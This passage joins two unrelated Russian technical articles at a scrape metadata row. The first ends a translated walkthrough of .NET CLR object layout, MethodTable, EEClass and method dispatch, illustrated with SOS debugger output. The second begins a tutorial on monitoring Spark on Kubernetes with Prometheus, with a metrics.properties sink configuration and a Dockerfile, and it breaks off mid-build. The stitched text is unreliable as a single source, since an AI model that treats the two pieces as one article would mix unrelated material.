Одна важная структура данных указывает на EEClass. Загрузчик классов CLR создаёт EEClass из метаданных до того как формируется таблица методов. На Рисунке 4, таблица методов SmallClass указывает на его EEClass. Эти структуры указывают на их модули и сборки. Таблица методов и EEClass как правило располагаются в домен-спeцифичных кучах загрузчика. Byte[] — это особый случай; Таблица методов и EEClass располагаются в кучах загрузчика домена общего доступа. Кучи загрузчика относятся к определённому домену (домен-специфичны) и любые структуры данных, упомянутые ранее, однажды загруженные, никуда не денутся пока домен не будет выгружен. Также, дефолтный домен не может быть выгружен и следовательно код существует пока не будет остановлен CLR.
Экземпляр объекта
-----------------
Как мы заметили, все экземпляры типов-значений либо встраиваются в стек потока или встраиваются в кучу сборщика мусора. Все ссылочные типы создаются на куче сборщика мусора или куче больших объектов(LOH). Рисунок 6 показывает типичный макет экземпляра объекта. На объект может ссылаться локальная переменная, созданная на стеке, таблиц описателей в ситуациях внешнего взаимодействия и P/Invoke сценариях, из регистров (это может быть this-указать и аргументы метода в течении выполнения метода) или из очереди завершителя(finalizer) для объектов имеющих завершающие методы(finalizer methods). OBJECTREF не указывает на начало экземпляра объекта, а указывает со смещением в 4 байта(DWORD) от начала. DWORD называется заголовком объекта и содержит индекс (номер синхронизирующего блока synblk, начинающийся с единицы) в таблице SyncTableEntry. Так как распределение происходит через индекс, CLR может переместить таблицу в памяти когда необходимо увеличение размера. The SyncTableEntry обслуживает мягкие ссылки обратно к объекту, так что владение блоком синхронизации может быть прослежено CLR. Мягкие ссылки позволяют сборщику мусора выполнять очистку, когда уже не существуют другие жёсткие ссылки. SyncTableEntry также хранит указатель на SyncBlock содержащий полезную информацию, но менее необходимую для всех экземпляров объекта. Эта информация включает блокировки объекта, его хеш-код, любые данные преобразования и индекс домена (AppDomainIndex). Для большинства экземпляров объектов, не будет существовать пространства выделенного для блока синхронизации (SyncBlock) и номер syncblock будет равен нулю. Это изменится когда выполняемый поток наткнется на выражение lock(obj) или obj.GetHashCode, как показано ниже:
```
SmallClass obj = new SmallClass() // Do some work here
lock(obj) { /* Do some synchronized work here */ }
obj.GetHashCode();
```
*Рисунок 6. Представление экземпляра объекта*
В этом коде, smallObj будет использовать ноль (нет syncblk) в качестве его номера в таблице блоков синхронизации (Syncblk Entry Table). Инструкция lock заставляет CLR создать syncblock запись и записать в заголовок соответствующий номер. Поскольку ключевое слово lock в С# развертывается в блок try-catch с использованием класса Monitor, объект Monitor создаётся в SyncBlock для синхронизации. Вызов метода GetHashCode() заполняет поле Hashcode хэш-кодом объекта в SyncBlock.
SyncBlock содержит другие поля используемые в взаимодействии с COM и маршалинге делегатов в неуправляемый код, но не относящиеся к типичному использованию объектов.
Хендлер типа (TypeHandle) следуют за номером syncblk в экземпляре объекта. В порядке поддержания непрерывности рассуждения, я буду обсуждать хендлер типа после разъяснения экземпляров переменных. Переменный список полей экземпляра следует за хендлером типа. По умолчанию, поля экземпляра размещаются таким образом, что бы использование памяти было эффективным и пропуски при выравнивании были минимальны. Код на Рисунке 7 содержит простой класс SimpleClass имеющий набор переменных экземпляра содержащихся в нём, с различными размерами.
**Рисунок 7 SimpleClass с экземплярными переменными**
```
class SimpleClass
{
private byte b1 = 1; // 1 byte
private byte b2 = 2; // 1 byte
private byte b3 = 3; // 1 byte
private byte b4 = 4; // 1 byte
private char c1 = 'A'; // 2 bytes
private char c2 = 'B'; // 2 bytes
private short s1 = 11; // 2 bytes
private short s2 = 12; // 2 bytes
private int i1 = 21; // 4 bytes
private long l1 = 31; // 8 bytes
private string str = "MyString"; // 4 bytes (only OBJECTREF)
//Total instance variable size = 28 bytes
static void Main()
{
SimpleClass simpleObj = new SimpleClass();
return;
}
}
```
Рисунок 8 содержит пример экземпляра объекта SimpleClass отображаемый в окне памяти отладчика Visual Studio. Мы установили точку останова на операторе return рисунок 7 и использовали адрес simpleObj содержащийся в регистре ECX чтобы отобразить экземпляр объекта в окне просмотра памяти. Первый 4-х байтовый блок это номер syncblk. Мы не используем экземпляр в любом коде требующем синхронизации (и не обращаемся к методу HashCode), поэтому это поле установлено в 0. Ссылка на объект сохранена в переменной стека, указывает на 4 байта, расположенные со смещением 4. Байтовые переменные b1, b2, b3 и b4 располагаются бок о бок друг с другом. Байтовые переменные b1, b2, b3, и b4 все размещены подряд, рядом друг к другом. Обе переменные типа short s1 и s2 также размещены рядом. Строковая переменная str это 4-х байтовый ODJECTREF указывающий на актуальный экземпляр строки расположенный в куче сборщика мусора. Строка (String) специальный тип, все экземпляры содержащие одинаковый текст будут указывать на один и тот же экземпляр в глобальной таблице строк – это выполняется в процессе загрузки сборки. Этот процесс называется интернированием строк и спроектирован для оптимизации использования памяти. Как мы заметили ранее в .NET Framework 1.1 сборка не может отключить процесс интернирования, возможно в будущих версиях среды исполнения CLR будет предоставлена такая возможность.
*Рисунок 8. Отладочное окно отображающее экземпляр объекта в памяти*
Таким образом лексическая последовательность членов переменных в исходном коде не поддерживается в памяти по умолчанию. В сценариях внешнего взаимодействия, где лексическая последовательность должна быть перенесена в память, атрибут StructLayoutAttribute может быть использован, который принимает значение перечисления LayoutKind в качестве аргумента. LayoutKind.Sequential будет обеспечивать лексическую последовательность для маршализированных данных. В .NET Framework это не повлияет на управляемый макет (в версии .NET Framework 2.0 применение атрибута будет иметь эффект). В сценариях внешних взаимодействий где вам на самом деле необходимо иметь дополнительное смещение и явный контроль над последовательностью полей, LayoutKind.Explicit может быть использован совместно с атрибутом FieldOffset на уровне поля. Взглянув на непосредственное содержимое памяти, давайте воспользуемся отладчиком SOS чтобы посмотреть нва содержимое экземпляра объекта. Одна полезная команда это DumpHeap, которая позволяет выводить всё содержимое кучи и все экземпляры определённого типа. Вместо использования регистров, DumpHeap может показать адрес только что созданного нами объекта:
```
!DumpHeap -type SimpleClass
Loaded Son of Strike data table version 5 from
"C:/WINDOWS/Microsoft.NET/Framework/v1.1.4322/mscorwks.dll"
Address MT Size
00a8197c 00955124 36
Last good object: 00a819a0
total 1 objects
Statistics:
MT Count TotalSize Class Name
955124 1 36 SimpleClass
```
Общий размер объекта 36 байт. Не имеет значения, на сколько велика строка, экземпляры SimpleClass содержат только DWORD OBJECTREF. Переменные экземпляра SimpleClass занимают только 28 байт. Оставшиеся 8 байтов включают хендлер типа TypeHandle (4 байта) и номер блока синхронизации syncblk (4 байта). Получив адрес экземпляра simpleObj, давайте снимем дамп содержимого этого экземпляра использую команду DumpObj, как показано здесь:
```
!DumpObj 0x00a8197c
Name: SimpleClass
MethodTable 0x00955124
EEClass 0x02ca33b0
Size 36(0x24) bytes
FieldDesc*: 00955064
MT Field Offset Type Attr Value Name
00955124 400000a 4 System.Int64 instance 31 l1
00955124 400000b c CLASS instance 00a819a0 str
<< some fields omitted from the display for brevity >>
00955124 4000003 1e System.Byte instance 3 b3
00955124 4000004 1f System.Byte instance 4 b4
```
Как отмечено, макетом размещения по умолчанию, сгенерированным для классов компилятором C# является LayoutType.Auto (для структур используется LayoutType.Sequential ); таким образом загрузчик классов переупорядочивает поля экземпляра для минимизации смещений. Мы можем использовать ObjSize для получения графа включающего пространство, занятое экземпляром, str. Здесь полученный вывод:
!ObjSize 0x00a8197c
sizeof(00a8197c) = 72 ( 0x48) bytes (SimpleClass)
Son of Strike
SOS отладочное расширение используемое для отображения содержимого структур данных CLR в этой статье. Это часть пакета установки .NET Framework и расположено по пути %windir%\Microsoft.NET\Framework\v1.1.4322. До загрузки SOS в процесс, включите управляемую отладку в свойствах проекта в Visual Studio .NET. Добавьте директорию в которой расположен SOS.dll в переменную окружения PATH. Для загрузки SOS при остановке в точке останова, откройте Debug | Windows | Immediate. В окне immediate выполните .load sos.dll. Используйте !help для получения списка команд отладчика. Для более подробной информации о SOS смотрите документацию msdn [Bugslayer column](http://msdn2.microsoft.com/en-us/magazine/cc188721.aspx).
Если вы отнимите размер экземпляра SimpleClass (36 байтов) от всего размера графа объектов (72 байта), вы получите размер str, который составляет 36 байт. Давайте проверим это сняв дамп экземпляра str. Ниже результат вывода команды:
```
!DumpObj 0x00a819a0
Name: System.String
MethodTable 0x009742d8
EEClass 0x02c4c6c4
Size 36(0x24) bytes
```
Если вы добавите размер экземпляра строки str (36 байт) к размеру экземпляра SimpleClass (36 байт), вы получите общий размер 72 байта, что соответствует выводу команды ObjSize. Заметьте, что ObjSize не будет включать память занятую инфраструктурой syncblk. Также, в .NET Framework 1.1, CLR не известно о памяти занятой любыми неуправляемыми ресурсами, такими как GDI объекты, COM объекты, файловые хендлеры, и так далее; поэтому они не будут отражены этой командой.
Хендлер типа (TypeHandle), указатель на таблицу методов (MethodTable), расположен прямо после номера syncblk. До создания экземпляра объекта, CLR просматривает загруженные типы и загружает информацию о типе если тип не обнаружен, получает адрес таблицы методов, создаёт экземпляр объекта и заносит значение в TypeHandle экземпляра объекта. Код скомпилированный JIT компилятором использует хендлер типа TypeHandle для нахождения таблицы методов MethodTable для распределения методов. Скомпилированный JIT-компилятором код использует хендлер типа (TypeHandle) для позиционирования таблицы методов (MethodTable) для распределения вызовов методов. CLR использует хендлер типа (TypeHandle), когда необходимо найти загруженный тип через таблицу методов MethodTable.
Таблица методов MethodTable
---------------------------
Каждый класс и интерфейс, когда загружен в домен приложения, будет представлен в памяти структурой данных MethodTable. Это является результатом действий по загрузке классов до создания самого первого экземпляра объекта. В то время как экземпляр объекта ObjectInstance хранит состояние, MethodTable хранит информацию о поведении. MethodTable связывает экземпляр объекта с отображёнными в памяти структурами метаданных сгенерированными компилятором языка с помощью EEClass. Информация в таблице методов MethodTable и структуры данных, прикреплённые к ней могут быть доступны из управляемого кода через System.Type Указатель на таблицу методов может быть также получен даже в управляемом коде через свойство Type.RuntimeTypeHandle. Хендлер типа TypeHandle содержащийся в ObjectInstance, указывает на смещение от начала таблицы методов. Это смещение составляет 12 байт по умолчанию и содержит информацию для сборщика мусора, которая здесь обсуждаться не будет.
Рисунок 9 показывает типичное представление таблицы методов. Мы покажем некоторые важные поля хенлера типа, но для более полного списка используйте рисунок. Давайте начнём с Base Instance Size, так как он имеет прямую корреляцию с профилем памяти времени выполнения.
*Рисунок 9 Представление таблицы методов*
Базовый размер экземпляраBase Instance Size
-------------------------------------------
Базовый размер экземпляра это размер объекта, вычисляемый загрузчиком класса, основанный на декларациях полей в коде. Как рассмотрено ранее, текущая реализация сборщика мусора требует размер экземпляра объекта как минимум 12 байт. Если класс не имеет ни одного объявленного экземплярного поля, это приведёт к избыточности в 4 байта.
Остальные 8 байт будут заняты заголовком (Object Header) (который может содержать номер блока синхронизации syncblk) и хендлером типа (TypeHandle). Снова размер объекта может быть подвержен влиянию StructLayoutAttribute.
Посмотрим на снимок памяти (окно памяти в Visual Studio .NET 2003 ) таблицы методов для MyClass из рисунка 3 (MyClass с двумя интерфейсами) и сравним это с генерированным с помощью SOS выводом. На рисунке 9, размер объекта расположен по 4-х байтовому смещению и имеет значение 12 (0x0000000C) байт. Следующее является выводом DumpHeap из SOS:
```
!DumpHeap -type MyClass
Address MT Size
00a819ac 009552a0 12
total 1 objects
Statistics:
MT Count TotalSize Class Name
9552a0 1 12 MyClass
```
Таблица слотов методов
----------------------
Встроенная в таблице методов таблица слотов указывает на соответствующие описатели методов (MethodDesc), предоставляющие поведение типа. Таблица слотов методов создаётся на базе линейного списка объявлений методов располагающихся в следующем порядке: наследованные виртуальные методы, объявленные виртуальные методы, экземплярные методы, статические методы. Загрузчик классов идёт через метаданные текущего класса, родительского класса и интерфейсы и создаёт таблицу методов. В процессе формирования заменяются переопределённые виртуальные методы, заменяются скрываемые методы родительского класса, создаются новые слоты и дублируются слоты по необходимости. Дублирование слотов необходимо для создания иллюзии что каждый интерфейс имеет свою собственную мини vtable. Однако, слоты дубликаты указывают на ту же физическую реализацию.MyClass имеет три экземплярных метода, конструктор класса (.cctor) и конструктор объекта (.ctor). Конструктор объекта автоматически генерируется компилятором C# для всех объектов не имеющих конструкторов определённых явно. Конструктор класса генерируется компилятором когда мы имеем статические переменные определённые и инициализированные. Рисунок 10 показывает представление таблицы методов для MyClass. Представление показывает 10 методов потому что имеет место дублирование слота Method2 для IVMap, который будет рассмотрен следующим. Рисунок 11 показывает редактируемый SOS дамп таблицы методов класса MyClass.
*Рисунок 10 Представление таблицы методов MyClass*
**Рисунок 11 SOS дамп таблицы методов для MyClass**
```
!DumpMT -MD 0x9552a0
Entry MethodDesc Return Type Name
0097203b 00972040 String System.Object.ToString()
009720fb 00972100 Boolean System.Object.Equals(Object)
00972113 00972118 I4 System.Object.GetHashCode()
0097207b 00972080 Void System.Object.Finalize()
00955253 00955258 Void MyClass.Method1()
00955263 00955268 Void MyClass.Method2()
00955263 00955268 Void MyClass.Method2()
00955273 00955278 Void MyClass.Method3()
00955283 00955288 Void MyClass..cctor()
00955293 00955298 Void MyClass..ctor()
```
Первые 4 метода любого типа будут всегда ToString, Equals, GetHashCode и Finalize. Эти методы виртуальные наследованные от System.Object. Слот Method2 имеет дубликат, но оба указывают на один и тот же дескриптор метода. Явно кодированный .cctor и .ctor будут сгруппированы со статическими и экземплярными методами соответственно.
Описатель метода
----------------
Описатель метода (MethodDesc) это инкапсуляция реализации метода как его понимает CLR. Существует много типов описателей методов, что поддерживают вызовы к различным реализациям внешних взаимодействий, в добавок к управляемым реализациям. В этой статье мы будем рассматривать, только управляемый MethodDesc в контексте код а показанного на рисунке 3. MethodDesc сгенерирован как часть процесса загрузки класса и первоначально указывает на промежуточный язык (IL). Каждый описатель метода MethodDesc заполнен содержимым PreJitStub, который отвечает за включение JIT компиляции. Рисунок 12 показывает типичное представление. Запись слота таблицы методов на самом деле указывает на заглушку вместо настоящей структуры данных MethodDesc. Эта запись располагается по отрицательному смещению из 5-и байт от настоящего MethodDesc и является частью 8-и байтового заполнения, наследуемого каждым методом. Эти 5 байт содержат инструкции для вызова подпрограммы PreJitStub. Это 5-и байтовое смещение может быть видно из вывода DumpMT (для MyClass на рисунке 11) of SOS, поскольку MethodDesc всегда 5 байт после расположения указанного в записи таблицы слотов методов. До первого вызова выполняется вызов подпрограммы JIT компиляции. После выполнения компиляции 5 байт содержащие инструкцию вызова будут перезаписаны командой безусловного перехода на JIT скомпилированный код в архитектуре x86.
*Рисунок 12 Описатель метода*
Дизассемблирование кода на который указывает запись в таблице слотов методов на рисунке 12 будет показывать вызов на PreJitStub. Здесь сокращённый вывод дизассемблирования до JIT компиляции для метода Method2:
```
!u 0x00955263
Unmanaged code
00955263 call 003C3538 ;call to the jitted Method2()
00955268 add eax,68040000h ;ignore this and the rest
;as !u thinks it as code
```
Теперь давайте запустим метод и дизассемблируем тот же адрес:
```
!u 0x00955263
Unmanaged code
00955263 jmp 02C633E8 ;call to the jitted Method2()
00955268 add eax,0E8040000h ;ignore this and the rest
;as !u thinks it as code
```
Только первые 5 байт по этому адресу являются кодом; остальные содержат данные метода Method2 описателя методов. Команда »!u" не в курсе этого и генерирует бессмысленный код, то есть вы можете игнорировать всё после 5-и первых байт.
CodeOrIL до JIT компиляции содержит относительный виртуальный адрес(RVA) реализации метода в промежуточном языке (IL). Это поле устанавливается для индикации что это есть промежуточный код. CLR обновляет это это поле адресом JIT –компилированного кода после компиляции по требованию. Давайте выберем метод из тех что выведены и снимем дамп MethodDesc используя команду DumpMT до и после JIT компиляции:
```
!DumpMD 0x00955268
Method Name : [DEFAULT] [hasThis] Void MyClass.Method2()
MethodTable 9552a0
Module: 164008
mdToken: 06000006
Flags : 400
IL RVA : 00002068
```
После компиляции, MethodDesc выглядит следующим образом:
```
!DumpMD 0x00955268
Method Name : [DEFAULT] [hasThis] Void MyClass.Method2()
MethodTable 9552a0
Module: 164008
mdToken: 06000006
Flags : 400
Method VA : 02c633e8
```
Поле флагов в описателе метода закодировано для хранения информации о типе метода, таким как статичный, экземплярный, интерфейсный метод или COM реализация.
Давайте посмотрим на другой сложный аспект таблицы методов: реализация интерфейсов. Она сделана так, чтобы смотреть просто на управляемую среду понимая все сложности в процесс представления. Далее, мы рассмотрим как интерфейсы размещаются и как распределение интерфейсных методов реально работает.
IVMap и Карта интерфейсов
--------------------------
По смещению 12 в таблице методов находится важный указатель, IVMap. Как показано на рисунке 9, IVMap указывает на таблицу сопоставлений уровня домена приложения, которая индексируется с помощью идентификатора интерфейса уровня процесса. Каждая реализация интерфейса будет иметь запись в IVMap. Если MyInterface1 реализован двумя классами, то будет две записи в таблице IVMap. Запись будет указывать назад на начало подчинённой таблицы встроенной в таблицу методов (MethodTable) MyClass, как показано на рисунке 9. Это референс с помощью которого происходит распределение интерфейсного метода. IVMap создаётся на основе информации карты интерфейса встроенной в таблице методов. Карта интерфейса создана на основе метаданных класса в процессе построения таблицы методов. Как только загрузка типа выполнена, только IVMap используется в методе распределения. Поле по смешению 28 в таблицы методов (Interface Map ) указывает на запись InterfaceInfo встроенную внутри таблицы методов. В нашем случае, присутствует две записи для каждого из двух интерфейсов реализованных классом MyClass. Первые 4 байта первой записи InterfaceInfo указывают на хендлер типа (TypeHandle) интерфейса MyInterface1 (смотри рисунок 9 и рисунок 10). Следующее слово (2 байта) занято флагами (где 0 наследован от родительского класса и 1 реализована в текущем классе). Следующим словом сразу после флагов идёт начальный слот, который используется загрузчиком классов для размещения подчинённой таблицы реализации интерфейса. Для MyInterface1 значение равно 4, которое значит что слоты 5 и 6 указывают на реализацию. Для интерфейса MyInterface2, значение равно 6, то есть слоты 7 и 8 указывают на реализацию. Загрузчик классов дуюлирует слоты если это необходимо для создания иллюзии, что каждый интерфейс получает свою собственную реализацию, хотя физически сопоставляется с тем же описателем метода. В классе MyClass метод MyInterface1.Method2 и метод MyInterface2.Method2 будут указывать на одну и ту же реализацию.
Распределение интерфейсного метода выполняется через IVMap, в то время как распределение прямых методов происходит через адрес MethodDesc сохранённый в соответствующем слоте. Как отмечено ранее, .NET Framework использует конвенцию вызовов fastcall. Первые два аргумента обычно передаются через регистры ECX и EDX, если возможно. Первый аргумент экземплярного метода всегда «this» указатель, который передаётся через регистр ECX, как показано инструкцией «mov ecx, esi»:
```
mi1.Method1();
mov ecx,edi ;move "this" pointer into ecx
mov eax,dword ptr [ecx] ;move "TypeHandle" into eax
mov eax,dword ptr [eax+0Ch] ;move IVMap address into eax at offset 12
mov eax,dword ptr [eax+30h] ;move the ifc impl start slot into eax
call dword ptr [eax] ;call Method1
mc.Method1();
mov ecx,esi ;move "this" pointer into ecx
cmp dword ptr [ecx],ecx ;compare and set flags
call dword ptr ds:[009552D8h];directly call Method1
```
Этот дизассемблированный код демонстрирует что прямые вызовы экземплярных методов MyClass не используют смещение. JIT компилятор записывает адрес описателя метода непосредственно в коде. Распределение основанное на интерфейсе происходит через IVMap и требует несколько больше инструкций, чем прямое распределение. Одна из инструкций используется для получения адреса IVMap, а другая для получения начального слота реализации интерфейса в таблице слотов методов. Также, приведение экземпляра объекта к интерфейсу это просто копирование этого указателя в целевую переменную. На рисунке 2, «mi1 = mc;» использует одиночную инструкцию для копирования OBJECTREF из mc в mi1.
Виртуальное распределение
-------------------------
Давайте сейчас посмотрим на виртуальное распределение и сравним это с прямым и основанным на интерфейсах распределении. Здесь приведено дизассемблирование для вызова виртуального метода MyClass.Method3 из рисунка 3:
```
mc.Method3();
Mov ecx,esi ;move "this" pointer into ecx
Mov eax,dword ptr [ecx] ;acquire the MethodTable address
Call dword ptr [eax+44h] ;dispatch to the method at offset 0x44
```
Виртуальное распределение всегда происходит через фиксированный номер слота, независимо от от указателя в таблице методов в полученной иерархии реализации класса (типа). В процессе построения таблицы методов, загрузчик классов заменяет родительскую реализацию с переопределённой дочерней реализацией. Как результат, вызовы методов кодируются против родительского объекта распределённого к реализации дочернего объекта. Дизассемблирование демонстрирует что распределение происходит через слот номер 8 в окне памяти отладчика (как видно на рисунке 10) так же как и в выводе DumpMT.
Статические переменные
----------------------
Статические переменные важная составляющая часть структуры данных таблицы методов. Они располагаются как часть таблицы методов сразу после массива слотов таблицы методов. Все примитивные статические типы встраиваемые, в то время как статические объекты значения, такие как структуры и ссылочные типы адресуются через OBJECTREF созданных в таблицах хендлеров. OBJECTREF в таблице методов указывает на экземпляр объекта созданный в куче. Однажды созданный, OBJECTREF в таблице хендлеров будет держать экземпляр объекта в куче невредимым, пока домен приложения не будет выгружен. На рисунке 9, статическая строковая переменная str, указывает на OBJECTREF в таблице хендлеров, который указывает на MyString в куче сборщика мусора.
EEClass
-------
EEClass появляется до создания таблицы методов и в комбинации с таблицей методов является CLR версией объявления типа. На самом деле, EEClass и таблица методов логически явлются одной структурой данных (вместе они представляют один тип)и были разделены на основе частотыв использования. Поля используемые достаточно часто располагаются в таблице методов, а поля используемые не часто находятся в EEClass. Так что информация (такая как имена, поля и смещения)необходимая для JIT компиляции функций оказывается в EEClass, однако данные необходимые во время исполнения (такие как слоты vtable и информация сборщика мусора) располагается в таблице методов.
Для каждого типа загруженного в домен приложения будет создан один EEClass. Это включает интерфейсы, классы, абстрактные классы, массивы и структуры. Каждый EEClass это узел дерева отслеживаемый механизмом исполнения. CLR использует эту сеть для навигации через структуры EEClass для таких целей как загрузка класса, построение таблицы методов, проверка типа и приведения типов. Взаимосвязь дочернего элемента с родитель между EEClass устанавливается на основе иерархии наследования, в свою очередь взаимосвязи родителя с дочерним элементом устанавливаются на основе комбинации иерархии наследования и последовательности загрузки классов. Новые узлы EEClass добавляются, накладываются взаимосвязи между узлами и новые взаимосвязи устанавливаются в процессе выполнения управляемого кода. Существуют также горизонтальные связи с близнецами EEClass в сети. EEClass обладает тремя полями для управления взаимосвязями узлов между загруженными типами: Родительский класс ParentClass, Цепочка близнец SiblingChain и дочерняя цепочка ChildrenChain. Смотрите рисунок 13 для схематичного представления EEClass в контексте класса MyClass с рисунка 4.
Рисунок 13 показывает только несколько полей относящихся к этому обсуждению. Потому что мы пропустили некоторые поля в представлении, мы не показали смещения на этом рисунке. EEClass имеет циклические ссылки на таблицу методов. EEClass также указывает на блоки данных описателя метода, расположенных в куче частого доступа домена приложения по умолчанию. Референс на список объектов описателей полей расположенный на куче процесса обеспечивает информацию о размещении полей во время построения таблицы методов. EEClass располагается на куче с низкой частотой доступа домена приложения, так что операционная система может эффективнее управлять страницами памяти, и как следствие уменьшается рабочее пространство.
*Рисунок 13 Представление EEClass*
Другие поля, показанные на рисунке 13 являются второстепенными и не требуют объяснения в контексте MyClass (рисунок 3). Давайте посмотрим на фактическую физическую память создав дамп EEClass используя SOS. Запустим программу с рисунка 3 после установки точки останова на строке mc.Method1. Для начала получим адрес EEClass для MyClass используя команду Name2EE:
```
!Name2EE C:/Working/test/ClrInternals/Sample1.exe MyClass
MethodTable: 009552a0
EEClass: 02ca3508
Name: MyClass
```
Первый аргумент команды Name2EE это имя модуля, которое может быть получено из команды DumpDomain. Теперь мы знаем адрес EEClass, и получим дамп самого класса EEClass:
```
!DumpClass 02ca3508
Class Name : MyClass, mdToken : 02000004, Parent Class : 02c4c3e4
ClassLoader : 00163ad8, Method Table : 009552a0, Vtable Slots : 8
Total Method Slots : a, NumInstanceFields: 0,
NumStaticFields: 2,FieldDesc*: 00955224
MT Field Offset Type Attr Value Name
009552a0 4000001 2c CLASS static 00a8198c str
009552a0 4000002 30 System.UInt32 static aaaaaaaa ui
```
Рисунок 13 и вывод DumpClass выглядят в основном одинаково. Токен метаданных (mdToken) представляет индекс MyClass в таблицах метаданных сопоставления памяти модуля PE файла, родительский класс указывает на System.Object. Цепочка близнец (Рисунок 13) демонстрирует, что это загружено как результат загрузки класса Program.
MyClass имеет восемь слотов vtable (методы что могут быть распределены виртуально). При том, что методы Method1 Method2 не являются виртуальными, они будут рассматриваться как виртуальные методы при выполнении распределения через интерфейсы и поэтому добавлены в список. Добавим .cctor и .ctor в список, и вы получите всего 10(0xA) методов. Класс имеет два статических поля приведенные в конце. MyClass не имеет экземплярных полей. Остальные поля не требуют объяснения.
Заключение
----------
Закончился наш тур по некоторым самым важным внутренним компонентам CLR. Очевидно, осталось гораздо больше не рассмотренного, и того что следовало бы рассмотреть более глубоко, но мы надеемся это даст вам некоторое впечатление как это работает. Много информации представленной здесь возможно будет изменена в последующих выпусках CLR и .NET Framework. Но всё же, если структуры данных рассмотренные в этой статье могут быть изменены, концепции будут оставаться без изменений. | https://habr.com/ru/post/263935/ | null | ru | null |
# Мониторинг Spark Streaming в Kubernetes с помощью Prometheus и Grafana
**Введение**
Развертывание Apache Spark в [Kubernetes](https://kubernetes.io/), вместо использования управляемых сервисов таких как [AWS EMR](https://aws.amazon.com/emr/), [Azure Databricks](https://azure.microsoft.com/en-us/services/databricks/#:~:text=Azure%20Databricks%20provides%20the%20latest,scale%20and%20availability%20of%20Azure.) или [HDInsight](https://docs.microsoft.com/en-us/azure/hdinsight/hdinsight-overview#:~:text=Azure%20HDInsight%20is%20a%20managed,Storm%2C%20R%2C%20and%20more.), может быть обусловлено экономической эффективностью и переносимостью. Подробнее о миграции с AWS EMR в K8s вы можете прочитать в [этой статье](https://itnext.io/migrating-apache-spark-workloads-from-aws-emr-to-kubernetes-463742b49fda).
Однако при уходе с управляемых сервисов возникает ряд проблем. И, вероятно, самая большая из них — потеря мониторинга и алертинга. Например, в AWS EMR есть действительно мощные встроенные инструменты мониторинга в виде CloudWatch, Ganglia, CloudTrail и YARN history server. В этой статье рассмотрим реализацию мониторинга для Apache Spark в Kubernetes с помощью Prometheus и Grafana.
Задача
------
Обеспечение работоспособности Apache Spark в production при обработке больших объемов данных— действительно сложная задача. Много чего может пойти не так: может упасть executor, увеличиться задержка внешних источников данных, ухудшится производительность из-за изменения входных данных или кода и др. Для решения всех этих проблем необходимо проактивно в реальном времени отслеживать необходимые метрики. Некоторые из этих метрик включают в себя:
1. Использование ресурсов: количество ядер, процессорное время, используемая память, максимальный объем выделенной памяти, используемое место на диске.
2. Spark task: количество активных / упавших / завершенных задач, максимальная / средняя / минимальная длительность задач.
3. Spark shuffling: объем чтения / записи shuffle-операций.
4. Spark scheduler: количество активных / упавших / завершенных заданий.
5. Spark streaming: количество приемников (receiver), количество запущенных / упавших / завершенных пакетов, количество полученных / обработанных записей, среднее время обработки записи.
6. Пользовательские метрики: за специфичными метриками приложения необходимо также следить наряду с системными.
Решение
-------
[Prometheus](https://prometheus.io/) — один из самых популярных инструментов мониторинга Kubernetes. Децентрализованный, с открытым исходным кодом, с большим комьюнити и член Cloud Native Computing Foundation. Prometheus хранит данные в виде временных рядов (time series). Для запросов используется [PromQL](https://prometheus.io/docs/prometheus/latest/querying/basics//), а для визуализации [Grafana](https://grafana.com/) или встроенный браузер.
### Шаг 1. Настройка sink
Для мониторинга Spark 2.x можно было использовать комбинацию встроенных JmxSink и JmxExporter, но в [Spark 3.0](https://spark.apache.org/releases/spark-release-3-0-0.html) появился новый sink — PrometheusServlet. Преимущества PrometheusServlet по сравнению с JmxSink и JmxExporter очевидны: устраняется зависимость от внешнего JAR, для мониторинга используется тот же сетевой порт, на котором уже находится Spark, можно использовать Prometheus Service Discovery в Kubernetes.
Для того, чтобы включить новый sink, добавьте в проект файл **metrics.properties** (если его еще нет).
Добавьте в [**metrics.properties**](https://gist.github.com/dimastatz/7154c651fe31ab0a7ffecaa51424c0dd#file-metrics-properties) следующую конфигурацию:
```
# Example configuration for PrometheusServlet
# Master metrics - http://localhost:8080/metrics/master/prometheus/
# Worker metrics - http://localhost:8081/metrics/prometheus/
# Driver metrics - http://localhost:4040/metrics/prometheus/
# Executors metrics - http://localhost:4040/metrics/executors/prometheus
*.sink.prometheusServlet.class=org.apache.spark.metrics.sink.PrometheusServlet
*.sink.prometheusServlet.path=/metrics/prometheus
master.sink.prometheusServlet.path=/metrics/master/prometheus
applications.sink.prometheusServlet.path=/metrics/applications/prometheus
```
### Шаг 2: Развертывание приложения
Spark-приложение развертывается в K8s через Docker-образ. Ниже приведен пример [Dockerfile](https://gist.github.com/dimastatz/29e694cfea0aeb22149f0bc2421a4ef9#file-dockerfile) с многоэтапной сборкой (multi-stage). Первый этап — компиляция и сборка Spark-приложения на scala с помощью [SBT](https://www.scala-sbt.org/), второй — базовый образ Spark, а последний — сборка окончательного образа. На последнем этапе копируем **metrics.properties** в папку /opt/spark/conf/.
```
FROM openjdk:8 AS build
# Env variables
ENV SCALA_VERSION 2.12.12
ENV SBT_VERSION 1.2.8
# Install Scala
## Piping curl directly in tar
RUN \
curl -fsL https://downloads.typesafe.com/scala/$SCALA_VERSION/scala-$SCALA_VERSION.tgz | tar xfz - -C /root/ && \
echo >> /root/.bashrc && \
echo "export PATH=~/scala-$SCALA_VERSION/bin:$PATH" >> /root/.bashrc
# Install sbt
RUN \
curl -L -o sbt-$SBT_VERSION.deb https://dl.bintray.com/sbt/debian/sbt-$SBT_VERSION.deb && \
dpkg -i sbt-$SBT_VERSION.deb && \
rm sbt-$SBT_VERSION.deb && \
apt-get update && \
apt-get install sbt && \
sbt sbtVersion && \
mkdir project && \
echo "scalaVersion := \"${SCALA_VERSION}\"" > build.sbt && \
echo "sbt.version=${SBT_VERSION}" > project/build.properties && \
echo "case object Temp" > Temp.scala && \
sbt compile && \
echo "done with compiling, starting deletion" && \
rm -rf project && \
rm -f build.sbt && \
rm -f Temp.scala && \
rm -rf target && \
echo "done with deletion" && \
mkdir -p /spark/ && \
echo "created spark directory" && \
curl -sL https://archive.apache.org/dist/spark/spark-3.0.1/spark-3.0.1-bin-hadoop3.2.tgz|gunzip| tar x -C /spark/ && \
echo "curled spark" && \
#rm /spark/spark-3.0.1-bin-hadoop3.2/jars/kubernetes-*-4.1.2.jar && \
echo "starting with wget" && \
wget https://repo1.maven.org/maven2/io/fabric8/kubernetes-model-common/4.4.2/kubernetes-model-common-4.4.2.jar -P /spark/spark-3.0.1-bin-hadoop3.2/jars/ && \
